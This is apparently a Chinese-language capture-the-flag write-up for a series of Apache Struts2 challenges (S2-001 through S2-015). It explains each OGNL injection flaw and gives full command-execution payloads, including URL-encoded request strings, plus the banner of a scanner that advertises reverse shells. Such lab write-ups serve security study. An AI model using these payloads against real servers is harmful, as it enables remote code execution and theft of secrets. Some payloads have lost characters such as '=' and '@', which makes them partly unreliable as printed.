web279点击where is flag?进入到了/S2-001/页面strus2框架漏洞https://www.cnblogs.com/hgschool/p/17035322.htmlS2-001CVE-2007-4556 该漏洞因为用户提交表单数据并且验证失败时 后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析 然后重新填充到对应的表单数据中。 例如注册或登录页面提交失败后端一般会默认返回之前提交的数据 由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析 所以可以直接构造 Payload 进行命令执行。 OGNL 全称是 Object-Graph Navigation Language对象图导航语言。 它是一种表达式语言EL简单来说它的作用是通过简单的字符串去操作复杂的 Java 对象。 在 Web 开发中前端页面HTML/JSP需要获取后端 Java 对象的数据 或者把表单数据写入 Java 对象。OGNL 就是中间的“翻译官” OGNL 的强大之处在于它具备执行任意 Java 代码的能力。 在正常的开发场景下开发者本意是想让 OGNL 解析变量名比如 %{username}。 但在 S2-001 中系统逻辑变成了 用户输入了恶意的字符串Payload 例如%{java.lang.RuntimegetRuntime().exec(whoami)}。 后端表单验证失败。 Struts2 尝试把这个字符串“原样”放回表单。 致命错误发生 Struts2 错误地将用户输入的这段字符串当成了 OGNL 指令 再次解析运行。OGNL表达式三个符号%, #, $的含义 %的用途是在标志的属性为字符串类型时计算OGNL表达式%{}中的值 #的用途访主要是访问非根对象属性因为Struts 2中值栈被视为根对象所以访问其他非根对象时 需要加#前缀才可以调用 $主要是在Struts 2配置文件中引用OGNL表达式可以直接在登录框测试一下%{2-2}可以发现返回了0, 说明执行了OGNL表达式解析使用工具首先获取服务器信息之后看到为root用户可以直接执行命令命令执行%{#reqorg.apache.struts2.ServletActionContextgetRequest(), #response#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter(), #response.println(#req.getRealPath(/)),#response.flush(),#response.close()} // org.apache.struts2.ServletActionContextgetRequest(): // 获取 HttpServletRequest 对象即当前 HTTP 请求。 // #context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse): // 获取 HttpServletResponse 对象用于返回数据给客户端。 // #req.getRealPath(/): // 获取 Web 应用的根目录 // #response.println(...): // 将根目录路径 打印 到 HTTP 响应中 // #response.flush(), #response.close(): // 刷新并关闭响应流确保数据返回给客户端。命令执行查看环境变量env(我为了方便观看将命令进行了拆分,实际情况并不需要)%{#a(new java.lang.ProcessBuilder(new java.lang.String[]{env})).redirectErrorStream(true).start(), #b#a.getInputStream(),#cnew java.io.InputStreamReader(#b), #dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e), #f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse), #f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(), #f.getWriter().close()} new java.lang.ProcessBuilder(new java.lang.String[]{“env”}) 创建 ProcessBuilder 对象执行 env 命令, 查看环境变量 redirectErrorStream(true): 让标准错误流和标准输出流合并避免丢失错误信息。 .start(): 启动进程执行命令。 读取 env 命令输出 #b #a.getInputStream(): 获取进程的标准输出流。 #c new java.io.InputStreamReader(#b): 用 InputStreamReader 读取流内容。 #d new java.io.BufferedReader(#c): 用 BufferedReader 进行缓存读取提高效率。 #e new char[50000]: 分配一个 50,000 字符的缓冲区存储 env 命令的输出。 #d.read(#e): 读取命令的输出到 #e 数组中。 返回执行结果 #f #context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”): 获取 HttpServletResponse。 #f.getWriter().println(new java.lang.String(#e)): 将 env 命令的输出转换为字符串并通过 HTTP 响应返回给攻击者。 #f.getWriter().flush(), #f.getWriter().close(): 确保数据完全写入并关闭响应。工具地址:https://github.com/HatBoy/Struts2-Scan$ python3 Struts2Scan.py --info ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| __| | | | __/ __| __) | \___ \ / __/ _ | _ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy [] 支持如下Struts2漏洞: [] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell [] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行 [] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行 [] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell [] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell [] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell [] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell [] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 [] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell [] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 [] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 [] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell [] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell [] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell [] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell [] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 [] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 [] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell [] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell [] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shellweb280了解一下S2-005的基本信息S2-005:GET请求发送数据; 支持获取WEB路径,任意命令执行使用工具可以直接执行命令命令执行直接GET方法访问执行任意命令POC无回显空格用代替/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)true(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))(asdf)((%5cu0023rt.exec(%22touch/tmp/success%22.split(%22%22)))(%5cu0023rt%5cu003djava.lang.RuntimegetRuntime()))1成功执行后可以看到命令已成功执行在/tmp/目录下创建了success文件(因为是无回显所以建议是直接使用工具)web281S2-007POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell使用工具能够成功检测到但是编号没有S2-007虽然是S2-016但是能够成功执行命令命令执行 (#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.Boolean(false) ,#context[xwork.MethodAccessor.denyMethodExecution]#foo,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(env).getInputStream())) #_memberAccess[allowStaticMethodAccess] true allowStaticMethodAccess这个变量 默认是 false禁止直接调用 Java 的静态方法。 设置为 true 后允许直接调用 Java 的 Runtime、ProcessBuilder 等静态方法可以执行任意命令。 #foo new java.lang.Boolean(false), #context[xwork.MethodAccessor.denyMethodExecution] #foo xwork.MethodAccessor.denyMethodExecution是 XWorkStruts2 的核心库 中的安全机制防止方法执行。 默认是 true表示禁止执行方法。 这里 将其设置为 false解除安全限制允许攻击者执行任意方法 java.lang.RuntimegetRuntime().exec(env).getInputStream() 通过 Runtime.exec() 执行 env 命令 getInputStream()获取 env 命令的 标准输出用于读取执行结果 org.apache.commons.io.IOUtilstoString(...) Apache Commons IO 库 的 IOUtils.toString() 方法可以 直接将 InputStream 转换为字符串。web282S2-008GET请求发送数据; 支持任意命令执行和反弹shell使用工具命令执行https://0215b392-b2b2-4f1b-be2e-0aa4ff397e96.challenge.ctf.show/S2-008/devmode.action?debugcommandexpression (#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.Boolean(false) ,#context[xwork.MethodAccessor.denyMethodExecution]#foo,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(env).getInputStream()))将expression之后的内容进行url编码,成功执行命令web283把页面更新了看到是S2-009GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell使用工具好的也是成功的命令执行了命令执行我们的目标是去找一个接受了参数参数类型是string的action如果当前action中接受了某个参数example这个参数将进入OGNL的上下文。所以我们可以将OGNL表达式放在example参数中, 然后使用/helloword.acton?example(example)(‘xxx’)1的方法来执行它从而绕过官方对#、\等特殊字符的防御。?age12313name(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]newjava.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]true,%23ajava.lang.RuntimegetRuntime().exec(%27env%27).getInputStream(),%23bnewjava.io.InputStreamReader(%23a),%23cnewjava.io.BufferedReader(%23b),%23dnewchar[51020],%23c.read(%23d),%23kxlzxorg.apache.struts2.ServletActionContextgetResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)z[(name)(%27meh%27)]web284随便输点东西S2-012GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shellpost传参,GET回显命令执行如果在配置 Action 中 Result 时使用了重定向类型并且还使用 ${param_name} 作为重定向变量例如 package nameS2-012 extendsstruts-default action nameuser classcom.demo.action.UserAction result nameredirect typeredirect/index.jsp?name${name}/result result nameinput/index.jsp/result result namesuccess/index.jsp/result /action /package 这里 UserAction 中定义有一个 name 变量当触发 redirect 类型返回时Struts2 获取使用 ${name} 获取其值在这个过程中会对 name 参数的值执行 OGNL 表达式解析从而可以插入任意 OGNL 表达式导致命令执行。%{#a(new java.lang.ProcessBuilder(new java.lang.String[]{env})).redirectErrorStream(true).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}重定向导致工具不能使用,只能命令执行执行web285S2-013GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传Struts2 标签中 s:a 和 s:url 都包含一个 includeParams 属性其值可设置为 noneget 或 all参考官方其对应意义如下 1.none - 链接不包含请求的任意参数值默认 2.get - 链接只包含 GET 请求中的参数和其值 3.all - 链接包含 GET 和 POST 所有参数和其值 s:a用来显示一个超链接当includeParamsall的时候会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染造成任意命令执行漏洞。使用工具虽然回显很奇怪但是没关系,只要有回显,并且可以命令执行就不妨碍我们获取flag命令执行?a${#_memberAccess[allowStaticMethodAccess]true,#ajava.lang.RuntimegetRuntime().exec(env).getInputStream(),#bnew java.io.InputStreamReader(#a),#cnew java.io.BufferedReader(#b),#dnew char[50000],#c.read(#d),#outorg.apache.struts2.ServletActionContextgetResponse().getWriter(),#out.println(dbappnew java.lang.String(#d)),#out.close()}别忘了url编码代码的作用都差不多,都是执行命令,获取流,再转换流的输出形式,然后读取内容.最后输出回显,之后就不再解释了web286S2-015GET请求发送数据; 支持任意命令执行和反弹shell使用工具命令执行漏洞产生于配置了 Action 通配符 *并将其作为动态值时解析时会将其内容执行 OGNL 表达式package nameS2-015 extendsstruts-default action name* classcom.demo.action.PageAction result/{1}.jsp/result /action /package上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面但是在提取 name 并解析时对其执行了 OGNL 表达式解析所以导致命令执行。在实践复现的时候发现由于 name 值的位置比较特殊一些特殊的字符如 / \ 都无法使用转义也不行所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法因此在 2.3.14.2 版本以后都不能直接通过#_memberAccess[‘allowStaticMethodAccess’]true 来修改其值达到重获静态方法调用的能力。这里为了到达执行命令的目的可以用调用动态方法 (new java.lang.ProcessBuilder(‘calc’)).start() 来解决另外还可以借助 Java 反射机制去间接修改#context[xwork.MethodAccessor.denyMethodExecution]false,#m#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess),#m.setAccessible(true),#m.set(#_memberAccess,true)https://ce4f213d-3e95-4d1d-8dbd-da3d5eebd9d1.challenge.ctf.show/S2-015/%24%7B%23context%5Bxwork.MethodAccessor.denyMethodExecution%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(env).getInputStream())%2C%23q%7D.action